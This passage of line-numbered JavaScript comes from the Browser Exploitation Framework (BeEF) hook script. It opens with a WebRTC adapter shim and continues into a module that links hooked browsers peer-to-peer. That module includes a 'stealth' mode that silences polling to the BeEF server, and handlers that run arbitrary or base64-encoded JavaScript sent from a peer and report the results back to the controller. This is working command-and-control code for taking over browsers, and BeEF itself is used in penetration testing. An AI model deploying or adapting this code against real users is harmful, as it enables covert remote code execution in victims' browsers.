  11276. var constraintsToFF37 = function(c) {
  11277. if (typeof c !== 'object' || c.require) {
  11278. return c;
  11279. }
  11280. var require = [];
  11281. Object.keys(c).forEach(function(key) {
  11282. var r = c[key] = (typeof c[key] === 'object') ?
  11283. c[key] : {ideal: c[key]};
  11284. if (r.exact !== undefined) {
  11285. r.min = r.max = r.exact;
  11286. delete r.exact;
  11287. }
  11288. if (r.min !== undefined || r.max !== undefined) {
  11289. require.push(key);
  11290. }
  11291. if (r.ideal !== undefined) {
  11292. c.advanced = c.advanced || [];
  11293. var oc = {};
  11294. oc[key] = {min: r.ideal, max: r.ideal};
  11295. c.advanced.push(oc);
  11296. delete r.ideal;
  11297. if (!Object.keys(r).length) {
  11298. delete c[key];
  11299. }
  11300. }
  11301. });
  11302. if (require.length) {
  11303. c.require = require;
  11304. }
  11305. return c;
  11306. };
  11307. beef.debug('spec: ' + JSON.stringify(c));
  11308. c.audio = constraintsToFF37(c.audio);
  11309. c.video = constraintsToFF37(c.video);
  11310. beef.debug('ff37: ' + JSON.stringify(c));
  11311. return navigator.mozGetUserMedia(c, onSuccess, onError);
  11312. } : navigator.mozGetUserMedia.bind(navigator);
  11313.  
  11314. navigator.getUserMedia = getUserMedia;
  11315.  
  11316. // Shim for mediaDevices on older versions.
  11317. if (!navigator.mediaDevices) {
  11318. navigator.mediaDevices = {getUserMedia: requestUserMedia,
  11319. addEventListener: function() { },
  11320. removeEventListener: function() { }
  11321. };
  11322. }
  11323. navigator.mediaDevices.enumerateDevices =
  11324. navigator.mediaDevices.enumerateDevices || function() {
  11325. return new Promise(function(resolve) {
  11326. var infos = [
  11327. {kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
  11328. {kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
  11329. ];
  11330. resolve(infos);
  11331. });
  11332. };
  11333.  
  11334. if (webrtcDetectedVersion < 41) {
  11335. // Work around http://bugzil.la/1169665
  11336. var orgEnumerateDevices =
  11337. navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
  11338. navigator.mediaDevices.enumerateDevices = function() {
  11339. return orgEnumerateDevices().catch(function(e) {
  11340. if (e.name === 'NotFoundError') {
  11341. return [];
  11342. }
  11343. throw e;
  11344. });
  11345. };
  11346. }
  11347. // Attach a media stream to an element.
  11348. attachMediaStream = function(element, stream) {
  11349. beef.debug('Attaching media stream');
  11350. element.mozSrcObject = stream;
  11351. };
  11352.  
  11353. reattachMediaStream = function(to, from) {
  11354. beef.debug('Reattaching media stream');
  11355. to.mozSrcObject = from.mozSrcObject;
  11356. };
  11357.  
  11358. } else if (navigator.webkitGetUserMedia) {
  11359.  
  11360. webrtcDetectedBrowser = 'chrome';
  11361.  
  11362. // the detected chrome version.
  11363. webrtcDetectedVersion =
  11364. parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
  11365.  
  11366. // the minimum chrome version still supported by adapter.
  11367. webrtcMinimumVersion = 38;
  11368.  
  11369. // The RTCPeerConnection object.
  11370. window.RTCPeerConnection = function(pcConfig, pcConstraints) {
  11371. var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
  11372. var origGetStats = pc.getStats.bind(pc);
  11373. pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
  11374. // If selector is a function then we are in the old style stats so just
  11375. // pass back the original getStats format to avoid breaking old users.
  11376. if (typeof selector === 'function') {
  11377. return origGetStats(selector, successCallback);
  11378. }
  11379.  
  11380. var fixChromeStats = function(response) {
  11381. var standardReport = {};
  11382. var reports = response.result();
  11383. reports.forEach(function(report) {
  11384. var standardStats = {
  11385. id: report.id,
  11386. timestamp: report.timestamp,
  11387. type: report.type
  11388. };
  11389. report.names().forEach(function(name) {
  11390. standardStats[name] = report.stat(name);
  11391. });
  11392. standardReport[standardStats.id] = standardStats;
  11393. });
  11394.  
  11395. return standardReport;
  11396. };
  11397. var successCallbackWrapper = function(response) {
  11398. successCallback(fixChromeStats(response));
  11399. };
  11400. return origGetStats(successCallbackWrapper, selector);
  11401. };
  11402.  
  11403. return pc;
  11404. };
  11405.  
  11406. // add promise support
  11407. ['createOffer', 'createAnswer'].forEach(function(method) {
  11408. var nativeMethod = webkitRTCPeerConnection.prototype[method];
  11409. webkitRTCPeerConnection.prototype[method] = function() {
  11410. var self = this;
  11411. if (arguments.length < 1 || (arguments.length === 1 &&
  11412. typeof(arguments[0]) === 'object')) {
  11413. var opts = arguments.length === 1 ? arguments[0] : undefined;
  11414. return new Promise(function(resolve, reject) {
  11415. nativeMethod.apply(self, [resolve, reject, opts]);
  11416. });
  11417. } else {
  11418. return nativeMethod.apply(this, arguments);
  11419. }
  11420. };
  11421. });
  11422.  
  11423. ['setLocalDescription', 'setRemoteDescription',
  11424. 'addIceCandidate'].forEach(function(method) {
  11425. var nativeMethod = webkitRTCPeerConnection.prototype[method];
  11426. webkitRTCPeerConnection.prototype[method] = function() {
  11427. var args = arguments;
  11428. var self = this;
  11429. return new Promise(function(resolve, reject) {
  11430. nativeMethod.apply(self, [args[0],
  11431. function() {
  11432. resolve();
  11433. if (args.length >= 2) {
  11434. args[1].apply(null, []);
  11435. }
  11436. },
  11437. function(err) {
  11438. reject(err);
  11439. if (args.length >= 3) {
  11440. args[2].apply(null, [err]);
  11441. }
  11442. }]
  11443. );
  11444. });
  11445. };
  11446. });
  11447.  
  11448. // getUserMedia constraints shim.
  11449. getUserMedia = function(c, onSuccess, onError) {
  11450. var constraintsToChrome = function(c) {
  11451. if (typeof c !== 'object' || c.mandatory || c.optional) {
  11452. return c;
  11453. }
  11454. var cc = {};
  11455. Object.keys(c).forEach(function(key) {
  11456. if (key === 'require' || key === 'advanced') {
  11457. return;
  11458. }
  11459. var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
  11460. if (r.exact !== undefined && typeof r.exact === 'number') {
  11461. r.min = r.max = r.exact;
  11462. }
  11463. var oldname = function(prefix, name) {
  11464. if (prefix) {
  11465. return prefix + name.charAt(0).toUpperCase() + name.slice(1);
  11466. }
  11467. return (name === 'deviceId') ? 'sourceId' : name;
  11468. };
  11469. if (r.ideal !== undefined) {
  11470. cc.optional = cc.optional || [];
  11471. var oc = {};
  11472. if (typeof r.ideal === 'number') {
  11473. oc[oldname('min', key)] = r.ideal;
  11474. cc.optional.push(oc);
  11475. oc = {};
  11476. oc[oldname('max', key)] = r.ideal;
  11477. cc.optional.push(oc);
  11478. } else {
  11479. oc[oldname('', key)] = r.ideal;
  11480. cc.optional.push(oc);
  11481. }
  11482. }
  11483. if (r.exact !== undefined && typeof r.exact !== 'number') {
  11484. cc.mandatory = cc.mandatory || {};
  11485. cc.mandatory[oldname('', key)] = r.exact;
  11486. } else {
  11487. ['min', 'max'].forEach(function(mix) {
  11488. if (r[mix] !== undefined) {
  11489. cc.mandatory = cc.mandatory || {};
  11490. cc.mandatory[oldname(mix, key)] = r[mix];
  11491. }
  11492. });
  11493. }
  11494. });
  11495. if (c.advanced) {
  11496. cc.optional = (cc.optional || []).concat(c.advanced);
  11497. }
  11498. return cc;
  11499. };
  11500. beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
  11501. c.audio = constraintsToChrome(c.audio);
  11502. c.video = constraintsToChrome(c.video);
  11503. beef.debug('chrome: ' + JSON.stringify(c));
  11504. return navigator.webkitGetUserMedia(c, onSuccess, onError);
  11505. };
  11506. navigator.getUserMedia = getUserMedia;
  11507.  
  11508. // Attach a media stream to an element.
  11509. attachMediaStream = function(element, stream) {
  11510. if (typeof element.srcObject !== 'undefined') {
  11511. element.srcObject = stream;
  11512. } else if (typeof element.src !== 'undefined') {
  11513. element.src = URL.createObjectURL(stream);
  11514. } else {
  11515. beef.debug('Error attaching stream to element.');
  11516. }
  11517. };
  11518.  
  11519. reattachMediaStream = function(to, from) {
  11520. to.src = from.src;
  11521. };
  11522.  
  11523. if (!navigator.mediaDevices) {
  11524. navigator.mediaDevices = {getUserMedia: requestUserMedia,
  11525. enumerateDevices: function() {
  11526. return new Promise(function(resolve) {
  11527. var kinds = {audio: 'audioinput', video: 'videoinput'};
  11528. return MediaStreamTrack.getSources(function(devices) {
  11529. resolve(devices.map(function(device) {
  11530. return {label: device.label,
  11531. kind: kinds[device.kind],
  11532. deviceId: device.id,
  11533. groupId: ''};
  11534. }));
  11535. });
  11536. });
  11537. }};
  11538. // in case someone wants to listen for the devicechange event.
  11539. navigator.mediaDevices.addEventListener = function() { };
  11540. navigator.mediaDevices.removeEventListener = function() { };
  11541. }
  11542. } else if (navigator.mediaDevices && navigator.userAgent.match(
  11543. /Edge\/(\d+).(\d+)$/)) {
  11544. webrtcDetectedBrowser = 'edge';
  11545.  
  11546. webrtcDetectedVersion =
  11547. parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
  11548.  
  11549. // the minimum version still supported by adapter.
  11550. webrtcMinimumVersion = 12;
  11551.  
  11552. attachMediaStream = function(element, stream) {
  11553. element.srcObject = stream;
  11554. };
  11555. reattachMediaStream = function(to, from) {
  11556. to.srcObject = from.srcObject;
  11557. };
  11558. } else {
  11559. // console.log('Browser does not appear to be WebRTC-capable');
  11560. }
  11561.  
  11562. // Returns the result of getUserMedia as a Promise.
  11563. function requestUserMedia(constraints) {
  11564. return new Promise(function(resolve, reject) {
  11565. getUserMedia(constraints, resolve, reject);
  11566. });
  11567. }
  11568.  
  11569. if (typeof module !== 'undefined') {
  11570. module.exports = {
  11571. RTCPeerConnection: window.RTCPeerConnection,
  11572. getUserMedia: getUserMedia,
  11573. attachMediaStream: attachMediaStream,
  11574. reattachMediaStream: reattachMediaStream,
  11575. webrtcDetectedBrowser: webrtcDetectedBrowser,
  11576. webrtcDetectedVersion: webrtcDetectedVersion,
  11577. webrtcMinimumVersion: webrtcMinimumVersion
  11578. //requestUserMedia: not exposed on purpose.
  11579. //trace: not exposed on purpose.
  11580. };
  11581. } else if ((typeof require === 'function') && (typeof define === 'function')) {
  11582. // Expose objects and functions when RequireJS is doing the loading.
  11583. define([], function() {
  11584. return {
  11585. RTCPeerConnection: window.RTCPeerConnection,
  11586. getUserMedia: getUserMedia,
  11587. attachMediaStream: attachMediaStream,
  11588. reattachMediaStream: reattachMediaStream,
  11589. webrtcDetectedBrowser: webrtcDetectedBrowser,
  11590. webrtcDetectedVersion: webrtcDetectedVersion,
  11591. webrtcMinimumVersion: webrtcMinimumVersion
  11592. //requestUserMedia: not exposed on purpose.
  11593. //trace: not exposed on purpose.
  11594. };
  11595. });
  11596. }
  11597.  
  11598.  
  11599. //
  11600. // Copyright (c) 2006-2015 Wade Alcorn - [email protected]
  11601. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  11602. // See the file 'doc/COPYING' for copying permission
  11603. //
  11604.  
  11605.  
  11606. /**
  11607. * @Literal object: beef.webrtc
  11608. *
  11609. * Manage the WebRTC peer to peer communication channels.
  11610. * This objects contains all the necessary client-side WebRTC components,
  11611. * allowing browsers to use WebRTC to communicate with each other.
  11612. * To provide signaling, the WebRTC extension sets up custom listeners.
  11613. * /rtcsignal - for sending RTC signalling information between peers
  11614. * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
  11615. *
  11616. * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
  11617. * the signalling.
  11618. *
  11619. * This is all mostly a Proof of Concept
  11620. */
  11621.  
  11622. beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
  11623. // The key is the peer id
  11624. globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
  11625. // these objects persist outside of everything else
  11626. // The key is the peer id
  11627. rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
  11628. // false - i.e not stealthed; or
  11629. // <peerid> - i.e. the id of the browser which initiated stealth mode
  11630. rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
  11631. // The key is the peer id
  11632.  
  11633. // Beefwebrtc object - wraps everything together for a peer connection
  11634. // One of these per peer connection, and will be stored in the beefrtc global hash
  11635. function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
  11636. this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
  11637. this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
  11638. this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
  11639. this.turnjson = turnjson; // set of TURN servers in the format:
  11640. // {"username": "<username", "password": "<password>", "uris": [
  11641. // "turn:<ip>:<port>?transport=<udp/tcp>",
  11642. // "turn:<ip>:<port>?transport=<udp/tcp>"]}
  11643. this.started = false; // Has signaling / dialing started for this peer
  11644. this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the
  11645.  
  11646. receiver
  11647. this.turnDone = false; // does the pcConfig have TURN servers added to it?
  11648. this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
  11649. // the receiver will set this to true once it receives an SDP 'offer'
  11650. this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for
  11651.  
  11652. them
  11653. this.pcConfig = null; // We set this during init
  11654. this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
  11655. this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
  11656. this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and
  11657.  
  11658. receiver
  11659. this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
  11660. this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
  11661. this.dataChannel = null; // The data channel used by this peer
  11662. this.stunservers = stunservers; // set of STUN servers, in the format:
  11663. // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
  11664. }
  11665.  
  11666. // Initialize the object
  11667. Beefwebrtc.prototype.initialize = function() {
  11668. if (this.peerid == null) {
  11669. return 0; // no peerid - NO DICE
  11670. }
  11671.  
  11672. // Initialise the pcConfig hash with the provided stunservers
  11673. var stuns = JSON.parse(this.stunservers);
  11674. this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
  11675. "credential":"pass"}]};
  11676.  
  11677. // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
  11678. // this.forceTurn(this.turnjson);
  11679. this.turnDone = true;
  11680.  
  11681. // Caller is always ready to create peerConnection.
  11682. this.signalingReady = this.initiator;
  11683.  
  11684. // Start .. maybe
  11685. this.maybeStart();
  11686.  
  11687. // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
  11688. // window.onbeforeunload = function() {
  11689. // this.sendSignalMsg({type: 'bye'});
  11690. // }
  11691.  
  11692. return 1; // because .. yeah .. we had a peerid - this is good yar.
  11693. }
  11694.  
  11695. //Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
  11696. //These values are now simply passed in from the config.yaml for the webrtc extension
  11697. Beefwebrtc.prototype.forceTurn = function(jason) {
  11698. var turnServer = JSON.parse(jason);
  11699. var iceServers = createIceServers(turnServer.uris,
  11700. turnServer.username,
  11701. turnServer.password);
  11702. if (iceServers !== null) {
  11703. this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
  11704. }
  11705. beef.debug("Got TURN servers, will try and maybestart again..");
  11706. this.turnDone = true;
  11707. this.maybeStart();
  11708. }
  11709.  
  11710. // Try and establish the RTC connection
  11711. Beefwebrtc.prototype.createPeerConnection = function() {
  11712. beef.debug('Creating RTCPeerConnnection with the following options:\n' +
  11713. ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
  11714. ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  11715. try {
  11716. // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
  11717. globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
  11718. globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
  11719. beef.debug('Created RTCPeerConnnection with the following options:\n' +
  11720. ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
  11721. ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  11722.  
  11723. } catch (e) {
  11724. beef.debug('Failed to create PeerConnection, exception: ');
  11725. beef.debug(e);
  11726. return;
  11727. }
  11728.  
  11729. // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
  11730. globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
  11731. globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
  11732. globalrtc[this.peerid].ondatachannel = this.onDataChannel;
  11733. this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
  11734. }
  11735.  
  11736. // When the PeerConnection receives a new ICE Candidate
  11737. Beefwebrtc.prototype.onIceCandidate = function(event) {
  11738. var peerid = null;
  11739.  
  11740. for (var k in beefrtcs) {
  11741. if (beefrtcs[k].allgood === false) {
  11742. peerid = beefrtcs[k].peerid;
  11743. }
  11744. }
  11745.  
  11746. beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
  11747. beef.debug(event);
  11748.  
  11749. if (event.candidate) {
  11750. // Send the candidate to the peer via the BeEF signalling channel
  11751. beefrtcs[peerid].sendSignalMsg({type: 'candidate',
  11752. label: event.candidate.sdpMLineIndex,
  11753. id: event.candidate.sdpMid,
  11754. candidate: event.candidate.candidate});
  11755. // Note this ICE candidate locally
  11756. beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
  11757. } else {
  11758. beef.debug('End of candidates.');
  11759. }
  11760. }
  11761.  
  11762. // For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this
  11763.  
  11764. function
  11765. // This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call
  11766.  
  11767. processSignalingMessage
  11768. // against the message directly
  11769. Beefwebrtc.prototype.processMessage = function(message) {
  11770. beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
  11771. var msg = JSON.parse(message);
  11772.  
  11773. if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP
  11774.  
  11775. Offer
  11776. beef.debug('processing the message, as a receiver');
  11777. if (msg.type === 'offer') { // This IS an SDP Offer
  11778. beef.debug('.. and the message is an offer .. ');
  11779. this.msgQueue.unshift(msg); // put it on the top of the msgqueue
  11780. this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
  11781. this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
  11782. } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
  11783. beef.debug(' .. the message is NOT an offer .. ');
  11784. this.msgQueue.push(msg);
  11785. }
  11786. } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the
  11787.  
  11788. SDP Answer
  11789. beef.debug('processing the message, as the sender, no answers yet');
  11790. if (msg.type === 'answer') { // This IS an SDP Answer
  11791. beef.debug('.. and we have an answer ..');
  11792. this.processSignalingMessage(msg); // Process the message directly
  11793. this.gotanswer = true; // We have now received an answer
  11794. //process all other queued message...
  11795. while (this.msgQueue.length > 0) {
  11796. this.processSignalingMessage(this.msgQueue.shift());
  11797. }
  11798. } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
  11799. beef.debug('.. not an answer ..');
  11800. this.msgQueue.push(msg);
  11801. }
  11802. } else { // For all other messages just drop them in the queue
  11803. beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
  11804. this.processSignalingMessage(msg);
  11805. }
  11806. }
  11807.  
  11808. // Send a signalling message ..
  11809. Beefwebrtc.prototype.sendSignalMsg = function(message) {
  11810. var msgString = JSON.stringify(message);
  11811. beef.debug('Signalling Message - C->S: ' + msgString);
  11812. beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
  11813. }
  11814.  
  11815. // Used to record ICS candidates locally
  11816. Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
  11817. if (this.gatheredIceCandidateTypes[location][type])
  11818. return;
  11819. this.gatheredIceCandidateTypes[location][type] = 1;
  11820. // updateInfoDiv();
  11821. }
  11822.  
  11823. // When the signalling state changes. We don't actually do anything with this except log it.
  11824. Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
  11825. beef.debug("Signalling has changed to: " + event.target.signalingState);
  11826. }
  11827.  
  11828. // When the ICE Connection State changes - this is useful to determine connection statuses with peers.
  11829. Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
  11830. var peerid = null;
  11831.  
  11832. for (k in globalrtc) {
  11833. if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc
  11834.  
  11835. [k].localDescription.type === event.target.localDescription.type)) {
  11836. peerid = k;
  11837. }
  11838. }
  11839.  
  11840. beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
  11841.  
  11842. // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready!
  11843.  
  11844. Although may still look for
  11845. // better candidates or connections
  11846. if (event.target.iceConnectionState === 'connected') {
  11847. //Send status to peer
  11848. window.setTimeout(function() {
  11849. beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
  11850. beefrtcs[peerid].allgood = true;
  11851. },1000);
  11852. }
  11853.  
  11854. // Completed is similar to connected. Except, each of the ICE components are good, and no more testing
  11855.  
  11856. remote candidates is done.
  11857. if (event.target.iceConnectionState === 'completed') {
  11858. window.setTimeout(function() {
  11859. beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
  11860. beefrtcs[peerid].allgood = true;
  11861. },1000);
  11862. }
  11863.  
  11864. if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
  11865. //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
  11866. rtcstealth = false;
  11867. beefrtcs[peerid].allgood = false;
  11868. beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  11869. } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
  11870. //I was not in stealth, and this peer has gone offline - send a message
  11871. beefrtcs[peerid].allgood = false;
  11872. beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  11873. }
  11874. // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into
  11875.  
  11876. stealth
  11877. // This is possibly a bad idea - @xntrik
  11878.  
  11879.  
  11880. }
  11881.  
  11882. // This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
  11883. Beefwebrtc.prototype.goStealth = function() {
  11884. //stop the beef updater
  11885. rtcstealth = this.peerid; // this is a global variable
  11886. beef.updater.lock = true;
  11887. this.sendPeerMsg('Going into stealth mode');
  11888.  
  11889. setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
  11890. }
  11891.  
  11892. // This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
  11893. rtcpollPeer = function() {
  11894. if (rtcstealth == false) {
  11895. //my peer has disabled stealth mode
  11896. beef.updater.lock = false;
  11897. return;
  11898. }
  11899.  
  11900. beef.debug('lub dub');
  11901.  
  11902. beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made
  11903.  
  11904. us stealth
  11905.  
  11906. setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
  11907. }
  11908.  
  11909. // When a data channel has been established - within here is the message handling function as well
  11910. Beefwebrtc.prototype.onDataChannel = function(event) {
  11911. var peerid = null;
  11912. for (k in globalrtc) {
  11913. if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc
  11914.  
  11915. [k].localDescription.type === event.currentTarget.localDescription.type)) {
  11916. peerid = k;
  11917. }
  11918. }
  11919.  
  11920. beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
  11921. rtcrecvchan[peerid] = event.channel;
  11922.  
  11923. // This is the onmessage event handling within the datachannel
  11924. rtcrecvchan[peerid].onmessage = function(ev2) {
  11925. beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
  11926.  
  11927. // We've received the command to go into stealth mode
  11928. if (ev2.data == "!gostealth") {
  11929. if (beef.updater.lock == true) {
  11930. setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
  11931. } else {
  11932. beefrtcs[peerid].goStealth();
  11933. }
  11934.  
  11935. // The message to come out of stealth
  11936. } else if (ev2.data == "!endstealth") {
  11937.  
  11938. if (rtcstealth != null) {
  11939. beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
  11940. rtcstealth = false;
  11941. }
  11942.  
  11943. // Command to perform arbitrary JS (while stealthed)
  11944. } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
  11945. beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
  11946. beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring
  11947.  
  11948. (1)));
  11949.  
  11950. // Command to perform arbitrary JS (while NOT stealthed)
  11951. } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
  11952. beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
  11953. beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
  11954.  
  11955. // B64d command from the /cmdexec API
  11956. } else if (ev2.data.charAt(0) == "@") {
  11957. beef.debug('message was a b64d command');
  11958.  
  11959. var fn = new Function(atob(ev2.data.substring(1)));
  11960. fn();
  11961. if (rtcstealth != false) { // force stealth back on ?
  11962. beef.updater.execute_commands(); // FORCE execution while stealthed
  11963. beef.updater.lock = true;
  11964. }
  11965.  
  11966.  
  11967. // Just a plain text message .. (while stealthed)
  11968. } else if (rtcstealth != false) {
  11969. beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
  11970. beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
  11971.  
  11972. // Just a plan text message (while NOT stealthed)
  11973. } else {
  11974. beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
  11975. beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
  11976. }
  11977. }
  11978. }
  11979.  
  11980. // How the browser executes received JS (this is pretty hacky)
  11981. Beefwebrtc.prototype.execCmd = function(input) {
  11982. var fn = new Function(input);
  11983. var res = fn();
  11984. return res.toString();
  11985. }
  11986.  
  11987. // Shortcut function to SEND a data messsage
  11988. Beefwebrtc.prototype.sendPeerMsg = function(msg) {
  11989. beef.debug('sendPeerMsg to ' + this.peerid);
  11990. this.dataChannel.send(msg);
  11991. }
  11992.  
  11993. // Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are
  11994.  
  11995. ready
  11996. Beefwebrtc.prototype.maybeStart = function() {
  11997. beef.debug("maybe starting ... ");
  11998.  
  11999. if (!this.started && this.signalingReady && this.turnDone) {
  12000. beef.debug('Creating PeerConnection.');
  12001. this.createPeerConnection();
  12002.  
  12003. this.started = true;
  12004.  
  12005. if (this.initiator) {
  12006. beef.debug("Making the call now .. bzz bzz");
  12007. this.doCall();
  12008. } else {
  12009. beef.debug("Receiving a call now .. somebuddy answer da fone?");
  12010. this.calleeStart();
  12011. }
  12012.  
  12013. } else {
  12014. beef.debug("Not ready to start just yet..");
  12015. }
  12016. }
  12017.  
  12018. // RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
  12019. Beefwebrtc.prototype.doCall = function() {
  12020. var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
  12021. var self = this;
  12022. globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError,
  12023.  
  12024. constraints);
  12025. beef.debug('Sending offer to peer, with constraints: \n' +
  12026. ' \'' + JSON.stringify(constraints) + '\'.');
  12027. }
  12028.  
  12029. // Helper method to merge SDP constraints
  12030. Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
  12031. var merged = cons1;
  12032. for (var name in cons2.mandatory) {
  12033. merged.mandatory[name] = cons2.mandatory[name];
  12034. }
  12035. merged.optional.concat(cons2.optional);
  12036. return merged;
  12037. }
  12038.  
  12039. // Sets the local RTC session description, sends this information back (via signalling)
  12040. // The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
  12041. // The receiver uses this information too - and vice-versa - hence the signaling
  12042. Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
  12043. // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
  12044. // Stupid .. javascript :(
  12045. // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
  12046. // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the
  12047.  
  12048. next one..
  12049. var peerid = null;
  12050.  
  12051. for (var k in beefrtcs) {
  12052. if (beefrtcs[k].allgood === false) {
  12053. peerid = beefrtcs[k].peerid;
  12054. }
  12055. }
  12056. beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
  12057.  
  12058. globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess,
  12059.  
  12060. onSetSessionDescriptionError);
  12061. beefrtcs[peerid].sendSignalMsg(sessionDescription);
  12062.  
  12063. function onSetSessionDescriptionSuccess() {
  12064. beef.debug('Set session description success.');
  12065. }
  12066.  
  12067. function onSetSessionDescriptionError() {
  12068. beef.debug('Failed to set session description');
  12069. }
  12070. }
  12071.  
  12072. // If the browser can't build an SDP
  12073. Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
  12074. beef.debug('Failed to create session description: ' + error.toString());
  12075. }
  12076.  
  12077. // If the browser successfully sets a remote description
